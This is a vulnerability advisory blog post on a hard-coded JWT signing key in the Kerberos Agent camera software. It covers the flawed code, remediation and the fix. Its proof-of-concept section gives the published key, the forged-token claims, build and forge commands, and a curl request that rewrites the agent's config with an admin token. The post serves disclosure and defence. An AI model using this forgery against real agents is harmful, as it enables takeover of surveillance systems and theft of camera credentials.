TOBECHANGED, Forever: CVE-2026-135208, a CVSS 9.8 Hard-Coded JWT Key in Kerberos Agent

Every API token a Kerberos Agent has ever issued could be forged by anyone who read the project’s source code. CVE-2026-135208 is an authentication bypass in the Kerberos Agent open-source video surveillance agent: before version 3.14.4, the signing key that protects the entire REST API falls back to the literal string TOBECHANGED when the AGENT_JWT_SECRET environment variable is unset. The key is published in the repository, and none of the project’s own deployment manifests set the variable, so a default deployment signs and verifies every token with a secret the whole internet can read.
The numbers: CVSS v3.1 9.8 Critical, CVSS v4.0 9.3 Critical, network vector, no privileges, no user interaction. Any unauthenticated network client can mint an HS256 token with arbitrary claims and reach every authenticated endpoint as an administrator, per the vendor advisory. The flaw also outlives good password hygiene: even an operator who changed the default root / root login still runs an agent that accepts tokens signed with the published key.
The vendor, kerberos.io, fixed the issue in v3.14.4, released 21 November 2026, two days before the CVE entered the NVD feed (23 November, CNA VulnCheck). As of the 27 November 2026 KEV catalog release, the CVE is not in CISA’s Known Exploited Vulnerabilities catalog, and no public reports of in-the-wild exploitation have surfaced at publication time. The bottom line: an agent that is reachable from an untrusted network and has not been upgraded should be treated as readable, writable and switchable by strangers until proven otherwise.
What You Need To Know
| Item | Detail |
|---|---|
| CVE | CVE-2026-135208 |
| Product | Kerberos Agent (kerberos-io/agent), the Go + React camera agent in the Kerberos.io surveillance ecosystem |
| Severity | CVSS v3.1 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), CVSS v4.0 9.3 Critical |
| Weakness | CWE-321 (Use of Hard-coded Cryptographic Key) and CWE-1392 (Use of Default Credentials), per the vendor advisory |
| Attack vector | Network, unauthenticated, no interaction; forge an HS256 token with the published signing key |
| Affected versions | All versions before 3.14.4 per the CVE record; we verified the hard-coded key in tagged releases back to v3.2.10 (16 January 2025), and the advisory calls it “the historic default” |
| Fixed version | v3.14.4 (commit c0baade, pull request #361, 21 November 2026); v3.14.9 is current as of publication |
| Exploit status | Not in the CISA KEV catalog (27 November 2026 release); no public exploitation reports at publication time; independently reproduced by us in an isolated lab on v3.14.1 |
| Disclosed | Vendor advisory and fix 21 November 2026; CVE record published 23 November 2026 (CNA: VulnCheck) |
| Credit | Reported by arpitjain099, with Landon Rice also credited, per the CVE record; fix by Cédric Verstraeten (cedricve) |
| PoC | https://gitlab.com/hunt-benito/tobechanged-forever-cve-2026-135208-hard-coded-jwt-key-in-kerberos-agent |
What To Do If You Are Affected
There is no evidence of active exploitation at publication time, and the CVE is absent from the KEV catalog. The practical concern is different: the “exploit” is a few lines of standard JWT code, the key has been public for a long time, and anyone who can reach an unpatched agent’s port can walk in. Exposure, not exploit chatter, is what makes this urgent for a fleet.
If you run Kerberos Agents, the following points are worth working through in order:
- Consider upgrading to v3.14.4 or newer first. The fixed agent generates a random 64-hex-character signing secret on first start, persists it under
data/config/jwt_secret, and refuses to treat the legacy value as a default. Version 3.14.9 was current as of publication. - Worth checking what your deployments set for
AGENT_JWT_SECRET. On the fixed build, an explicitly setAGENT_JWT_SECRETstill wins over the generated secret, and our testing confirms a token signed withTOBECHANGEDnaming the configured account still authenticates if that legacy value is configured explicitly. If any deployment carries that value, plan on replacing it with a random secret. - Keep an eye on the default login as well.
AGENT_USERNAMEandAGENT_PASSWORDstill fall back toroot/rootin the fixed version. Setting both closes the ordinary-login door the upgrade does not close. - Worth reviewing what the agent exposes. The service binds to all interfaces and defaults to port 80; the project’s own Kubernetes example puts it behind a LoadBalancer. Restricting reachability to a trusted management network shrinks the attack surface for this and future issues.
- If an unpatched agent was network-reachable, consider the credentials it holds to be compromised. The configuration stores the agent key, RTSP camera URLs with embedded usernames and passwords, ONVIF credentials, Kerberos Hub keys and the recording encryption key. Rotating camera and Hub credentials and regenerating the agent key is worth planning after the upgrade.
- Worth scanning configuration for tampering. With admin access an attacker can rewrite the configuration, re-point the camera, disable recording or stop the agent entirely, per the advisory’s impact section.
The Story
Kerberos.io has been building open-source video surveillance software since 2014. The ecosystem, as the vendor’s documentation lays it out, spans the deprecated Kerberos.io Open Source (v2), the containerized Kerberos Agent (v3), the Kerberos Factory management portal, Kerberos Vault for storage, and Kerberos Hub for fleet management. The Agent is the workhorse: a Go binary with a React UI that connects to RTSP, USB or Raspberry Pi cameras, detects motion, records footage and forwards it to Hub or Vault. It ships as a Docker image and deploys through docker-compose, Kubernetes, snap, balena and plain binaries, on everything from a Raspberry Pi to a data-center node.
That footprint is what makes the disclosure matter. A surveillance agent sits at a sensitive intersection: it holds the credentials to the cameras it manages, the recordings those cameras produce, and the keys that encrypt them. An agent that accepts forged administrator tokens is not just a compromised web app; it is a window into every physical space the cameras watch, and a place to hide (rewrite the config, re-point the stream, disable recording) that its owner may not notice for a long time.
The issue was reported to the vendor and fixed quickly. The fix commit, authored by Cédric Verstraeten on 21 November 2026, carries the plain-language title “security: require authentication everywhere and drop the default JWT key”, and the v3.14.4 release followed the same evening. The CVE record, assigned and published by CNA VulnCheck on 23 November, credits arpitjain099 as reporter, with Landon Rice also credited.
The vendor advisory is unusually clear about the failure mode, and worth quoting at length:
The agent protects its REST API with a JWT bearer-token middleware. The HMAC signing key is read from the AGENT_JWT_SECRET environment variable, and when that variable is unset it falls back to the literal string TOBECHANGED. None of the project own deployment manifests (docker-compose, Kubernetes, snap, balena) set AGENT_JWT_SECRET, so a default deployment signs and verifies every token with a key that is published in the source tree.
The advisory also addresses the question every operator asks first, namely whether changing the default password is enough:
The default login credentials are also root / root (AGENT_USERNAME / AGENT_PASSWORD fall back to root), but the hardcoded key is the stronger issue: forging a token bypasses the login entirely, so it still works even when an operator has changed the password but left the signing key at its default.
How It Works
The key falls back to a string everyone can read
The entire flaw lives in four lines of Go in machinery/src/routers/http/jwt_middleware.go:
// Allow the JWT signing secret to be configured through an environment
// variable so that tokens issued by another service (e.g. the Kerberos
// Factory) can be validated by the agent. Falls back to the historic
// default to preserve backwards compatibility.
myKey := os.Getenv("AGENT_JWT_SECRET")
if myKey == "" {
myKey = "TOBECHANGED"
}
myKey becomes the Key field of the agent’s gin-jwt middleware, the HMAC secret that both signs tokens issued by /api/login and verifies tokens presented on every protected route. The comment is honest about the situation: the value is a historic default kept for backwards compatibility. TOBECHANGED reads like what it is, a placeholder that was supposed to be replaced before anyone deployed the software.
We verified how deep the default goes. The tagged release v3.2.10 (16 January 2025) hard-codes the same string outright, and the AGENT_JWT_SECRET override was only added later in 2026, with the fallback retained. That puts the published signing key in default deployments for at least 22 months before the fix, likely longer.
The deployment story removes the last safety net. We checked the project’s own manifests at v3.14.1: the docker-compose example maps three agents’ ports and sets AGENT_HUB_KEY and other variables, but no AGENT_JWT_SECRET; the Kubernetes example exposes the agent through a LoadBalancer on port 80; the Dockerfile declares EXPOSE 80. A default deployment publishes the API to its network with the source-tree key.
Any decoded user passes authorization
A signature check is only half of an auth system; the other half decides who the signature vouches for. Both halves fail open here. The middleware builds its identity from the token’s id claim, which is a JSON object with username and role fields, and then hands it to the Authorizator callback:
Authorizator: func(data interface{}, c *gin.Context) bool {
if _, ok := data.(*models.User); ok { //&& v.Username == "admin" {
return true
}
return false
},
Any successfully decoded user object authorizes the request. The role check is right there in the code, commented out. So the token an attacker needs is: an id claim set to any username with role: "admin", a future exp, and a signature produced with TOBECHANGED. The token can even travel in a URL query parameter or a cookie, since the middleware’s TokenLookup accepts the Authorization header, X-Authorization, ?token= and a jwt cookie.
What the token unlocks is the whole authenticated surface. routes.go protects GET and POST on /config and everything under the /api group: dashboard, configuration read and write, camera restart, camera stop, recording, and more. Notably, the WebSocket endpoint /ws, which carries the live camera stream, sat outside the JWT middleware entirely before the fix; an unauthenticated request to it on v3.14.1 returns the handler’s error rather than a 401. The fix commit adds the middleware to /ws as well, which is where the commit title’s “require authentication everywhere” comes from.
What a default deployment exposes
The advisory’s impact assessment reads as a checklist of what a surveillance deployment holds: reading the configuration returns the agent key, the RTSP camera URL with its embedded credentials, ONVIF credentials, the Kerberos Hub keys and the recording encryption key, alongside snapshots the agent has stored. Writing the configuration re-points the camera or alters its behavior. State-changing endpoints stop the agent, restart it, or drive PTZ controls and relay outputs on supported cameras. Confidentiality, integrity and availability all fall to one forged request.
The PoC
Full source, including the forge script and the expected output, lives in the companion repository:
We ran the demonstration against the real binary, built from the vulnerable v3.14.1 tag with Go 1.27.4 on an isolated Ubuntu (arm64) lab host. The agent runs with its bundled sample config, no camera attached, no AGENT_JWT_SECRET, and binds a loopback port:
git clone --depth 1 --branch v3.14.1 https://github.com/kerberos-io/agent.git
cd agent/machinery
go build -o main . # needs libavcodec/libavutil/libswscale dev packages
./main -action run -config . -port 8099
The forge script (forge_token.py, Python standard library only) mints the HS256 token exactly as the advisory describes, signing {"id": {"username": "attacker", "role": "admin"}, "exp": <now+24h>} with TOBECHANGED, and runs three cases against GET /api/config:
python3 forge_token.py --host 127.0.0.1 --port 8099
[*] Target: http://127.0.0.1:8099/api/config
[1] control: request without a token
HTTP 401 {"code":401,"message":"cookie token is empty"}
[2] control: token signed with a wrong key
HTTP 401 {"code":401,"message":"signature is invalid"}
[3] token signed with 'TOBECHANGED'
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6eyJ1c2VybmFtZSI6ImF...
HTTP 200
authenticated configuration retrieved:
{
"key": "ODT21K3THTOUTHOS8XGMQ9J7YRCIPN",
"name": "agent",
"timezone": "Africa/Ceuta",
"hub_uri": "https://api.cloud.kerberos.io",
"encryption": {
"enabled": "",
"recordings": "",
"fingerprint": "",
"private_key": "",
"symmetric_key": ""
}
}
[+] vulnerable: the hard-coded key authenticated us as an admin.
The two control cases matter as much as the third. Without a token the API answers 401, so the route is genuinely protected. With a token signed by a different key the answer is signature is invalid, which proves the signature, not the request, is what changed. The only variable in case 3 is the signing key, and it is the one published in the repository.
Reading is not the limit. The same token authorizes the state-changing routes; here it rewrites the agent’s configuration and hits the dashboard:
curl -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"renamed-by-attacker"}' http://127.0.0.1:8099/api/config
{"data":"☄ Reconfiguring"}
POST /api/config (rename agent): 200
GET /api/dashboard (forged token): 200
The patched agent refuses the same token
We repeated the identical attack against v3.14.4, built from the fix tag:
[3] token signed with 'TOBECHANGED'
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6eyJ1c2VybmFtZSI6ImF...
HTTP 401
[-] not vulnerable to this key (patched or a custom AGENT_JWT_SECRET is set).
The agent log explains why:
level=info msg="Generated a new JWT signing secret" event=jwt_secret_generated path=data/config/jwt_secret
The fix generates a random 64-hex-character secret on first start (32 bytes from the crypto random source), persists it under the agent’s config directory, and never falls back to the legacy value. The fix also tightens the other half of the pipeline: the Authorizator now requires the token’s username claim to match the configured account, so a validly signed token naming a stranger no longer authorizes anything.
One residual sharp edge deserves a mention, because our lab test hit it. On the patched build, AGENT_JWT_SECRET still wins when it is set explicitly, and setting it to TOBECHANGED only produces a warning:
level=warning msg="AGENT_JWT_SECRET is set to the publicly known legacy default; set a random value" event=jwt_secret_insecure
With that configuration, a forged token naming an arbitrary user is rejected with 403 by the new authorization check, but a forged token naming the configured account (root by default) authenticates with HTTP 200 in our test. The authorization layer blunts the legacy key without fully removing it; replacing the environment value with a random secret is what actually closes the door.
The Bigger Picture
This is the third recent story on this blog where an authentication boundary leaned on a secret it did not really keep, and the pattern holds: we looked at a hard-coded JWT secret in a Cudy mesh router’s MQTT broker in The Same Key Opens Every Box, and at an authentication bypass caused by a predictable cache key in phpipam in The Token Was a Row Number. Like the Kerberos key, both turned shared secrets into shared access. The Kerberos case adds an ecological twist: the product’s entire purpose is security, watching and recording physical spaces, and the string it shipped with reads as a to-do note.
Credit where it is due, because the fix is a good model for this bug class. Commit c0baade does not just delete the fallback. It generates a real random secret and persists it, warns explicitly when it detects the publicly known legacy value, extends authentication to the /ws stream endpoint, tightens the authorizer to the configured account, and adds a 204-line security regression test file to keep the properties locked in. A deployment that upgrades lands materially stronger than the software was on the day the bug shipped.
The placement lesson travels further. As with the Juniper Session Smart Router issues we covered in The Unguarded First Day, default-on network exposure is what turns a source-code embarrassment into a remote takeover. A signing key in the repo is a latent risk; a surveillance agent bound to all interfaces on port 80 is that risk realized. Worth keeping both halves in view when triaging advisories like this one, on your fleet or on any camera you can see from yours.
SOURCES
- Vendor advisory GHSA-3c52-7fc8-c39j: https://github.com/kerberos-io/agent/security/advisories/GHSA-3c52-7fc8-c39j
- CVE record CVE-2026-135208 (CNA VulnCheck): https://www.cve.org/CVERecord?id=CVE-2026-135208
- NIST NVD entry CVE-2026-135208: https://nvd.nist.gov/vuln/detail/CVE-2026-135208
- Fix commit c0baade “security: require authentication everywhere and drop the default JWT key”: https://github.com/kerberos-io/agent/commit/c0baade8fd6e21ed1b9a834d9ae6b4eaaa67b3b6
- Pull request #361: https://github.com/kerberos-io/agent/pull/361
- Release v3.14.4: https://github.com/kerberos-io/agent/releases/tag/v3.14.4
- Release v3.2.10 (hard-coded key verified in tag): https://github.com/kerberos-io/agent/releases/tag/v3.2.10
- jwt_middleware.go at v3.14.1: https://github.com/kerberos-io/agent/blob/v3.14.1/machinery/src/routers/http/jwt_middleware.go
- jwt_secret.go at v3.14.4 (fix): https://github.com/kerberos-io/agent/blob/v3.14.4/machinery/src/routers/http/jwt_secret.go
- routes.go at v3.14.1: https://github.com/kerberos-io/agent/blob/v3.14.1/machinery/src/routers/http/routes.go
- deployments/docker/docker-compose.yaml at v3.14.1: https://github.com/kerberos-io/agent/blob/v3.14.1/deployments/docker/docker-compose.yaml
- deployments/kubernetes/deployment-agent.yml at v3.14.1: https://github.com/kerberos-io/agent/blob/v3.14.1/deployments/kubernetes/deployment-agent.yml
- Dockerfile at v3.14.1: https://github.com/kerberos-io/agent/blob/v3.14.1/Dockerfile
- Kerberos.io documentation, Agent introduction: https://doc.kerberos.io/agent/introduction
- CISA Known Exploited Vulnerabilities Catalog (27 November 2026 release): https://www.cisa.gov/known-exploited-vulnerabilities-catalog